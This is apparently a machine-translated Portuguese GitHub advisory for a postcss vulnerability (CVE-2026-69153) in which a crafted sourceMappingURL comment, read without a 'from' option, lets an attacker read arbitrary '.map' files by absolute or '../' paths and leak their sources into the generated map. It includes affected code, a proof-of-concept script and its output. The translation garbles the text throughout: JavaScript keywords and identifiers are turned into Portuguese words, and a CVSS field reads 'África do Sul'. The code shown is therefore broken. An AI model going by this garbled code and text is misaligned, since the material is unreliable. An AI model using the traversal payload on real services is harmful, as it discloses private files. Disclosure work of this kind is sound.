A correção para o GHSA- 6 g 55 - p 6 O que... 862 q adicionou um protetor no `lib/previous- map.js` `PreviousMap. loadFile()` que restringe um `sourceMappingURL` controlado pelo atacante (de um comentário CSS) para uma extensão `. map` e, para mapas não confiados, rejeita caminhos transversales e absolutos. A rejeição transversal/absoluta está aninhada dentro ` se (cssFile) {... } `. Quando o PostCSS é invocado sem a opção `from`, `cssFile` é falso e aquele ramo é ignorado, deixando apenas a verificação da extensão `.map`. ` PreviousMap` é construído por `lib/input.js` sempre que `pathDisponível & & & sourceMapDisponível` (em Nó com o mapa- fonte disponível), independente de `opts.from`/`opts.map` (o construtor retorna cedo apenas para `opts.map === false`). Assim `postcss([]).process(css)` no atacante CSS alcança `loadFile` com `cssFile` indefinido, e um atacante `/*# sourceMappingURL=/abs/path/ x.map */` (ou `../`- caminho de travessia) é lido via `readFileSync`. Quando o arquivo é válido JSON, seus `fontes` (caminhos do sistema de arquivos) e `fontesConteúdo` (conteúdo de fonte) são divulgados no mapa de fonte gerado. ## Código afetado (v 8.5.22 — a liberação carregando o GHSA- 6 g 55 corrigir).

```js // lib/ anterior- map.js loadFile(path, cssFile, confiável) { se (! confied & & this. unsafeMap) { se (!/\.map$/i.test(path)) { devolver indefinido } se (cssFile) { // guarda executa SOMENTE quando `from' está definido deixe que relatePath = relativa(dirname(cssFile), path) se (relativePath === '.'.... relatePath.startsWith('.' + sep)... isAbsolute(relativePath)) { retorne indefinido } } } este.root = dirname(path) se (existeSync(path)) { este.mapFile = caminho retorne leiaFileSync(path, 'utf-path 8 '). toString().trim() // afundar } } // loadMap(): caminho de anotação não confiável, confid=false; arquivo === opts.from } senão se (isto. anotation) { deixar mapa = este. anotation se (archivo) mapa = join( dirname(file), map) // nenhum mapa `from` -> ficar o URL bruto deixar desconhecido = este. loadFile(map, arquivo, false) // arquivo indefinido -> cssFile falsy ```` ## Prova de conceito (verificada no postcss 8.5.22 ). ```js const postcss = require('postcss') const fs = require('fs').

// um mapa de fonte 'secreto' OUTSIDE qualquer árvore esperada (stand- in para o.map de outro projeto) const secret = '/tmp/pcpoc/secret_out_of_tree.map' fs.writeFileSync(segret, JSON. stringify({ versão: 3, fontes: ['/etc/REAL_PATH_LEAK'], mapeamentos: '', nomes: [], fontesConteúdo: ['TOP_SECRET_abcdef'] }) css const = 'a{color: vermelho}\n/*# fonteMappingURL=' + segredo + ' */' vazamentos const = m => m & & & JSON. stringify( m.toJSON? m.toJSON(): m).incluye( 'TOP_SECRET_abcdef') ;(async () => { // A) NÃO `from` -> guarda pulou -> ler o mapa absoluto arbitrário + divulgado const a = esperar postcss([]).process( css, { mapa: verdadeiro }) console.log('não de -> vazou:',!!leaks(a.map)) // verdadeiro.

// B) COM `from` -> guarda ativa -> bloqueada const b = aguarde o postcss([]).process(css, { de: '/ tmp/ pcpoc/in.css', map: true }) console.log('with from -> vazou:',!!leaks(b.map)) // false }() ```` Saída observada no postcss 8.5.22. ``` não de -> vazamento: fontes verdadeiras #Conteúdo 'TOP_SECRET_abcdef' E fontes '/etc/REAL_PATH_LEAK' aparecem em result.map com vazamento de ->: falsa guarda # rejeita o caminho absoluto ```.

`../` atravessando (não `from`) também tem sucesso; os alvos não ``. map` (`.txt`, `?x=. map`, `#. map`) são bloqueados pela verificação `. map`. A compilação testada contém o GHSA- 6 g 55 corrigir (`this.json = JSON.parse(...)` em `loadMap`, `consumer()` usa `this.json (') este.text`), então este é um residual dessa correção. Leia `.map`- file arbitrário (caminho absoluto ou `../` transversal) e divulgação dos `fontes' (caminhos locais do sistema de arquivos) e `fontesContent` (fonte) no mapa gerado, para qualquer consumidor que executa o PostCSS no CSS influenciado pelo atacante sem uma opção `from` e expõe `result.map` (reprodutores on-line, serviços minify/lint, etapas de compilação de string-input). Atacado a arquivos terminando em `. map` que analisam como JSON.

Aplicar a rejeição de caminhos transversal/ absolutos ao caminho de mapa não confiável independentemente de se ` cssFile` estiver presente (resolver contra `process. cwd()` quando não existe nenhum ` cssFile`, e rejeitar caminhos absolutos e `..' escapar em todos os casos não confiáveis), ou recusar carregar um mapa externo não confiável quando nenhum arquivo base é conhecido. Registro de aconselhamento: GHSA- fxqj- rqcc- 2 Cmp. Identificadores relacionados: CVE- 2026 - 69153.

Tempo: GitHub Advisory Database publicou este registro em 2026 - 08 - 03 T 17: 11: 39.000 Z e lista a sua última modificação como 2026 - 08 - 03 T 17: 11: 39.000 Z. Gravidade: MODERAR. Dados de pontuação publicados: CVSS_V 4: CVSS: 4.0 /AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/África do Sul:N.

Software afetado e informações de versão: npm package postcss — ECOSISTEM: introduzido 0, corrigido 8.5.23. Classificação e evidência: identificadores de fraqueza CWE- 200, CWE- 22. O registro contém 4 suporte de referências nestes tipos: WEB, PACKAGE.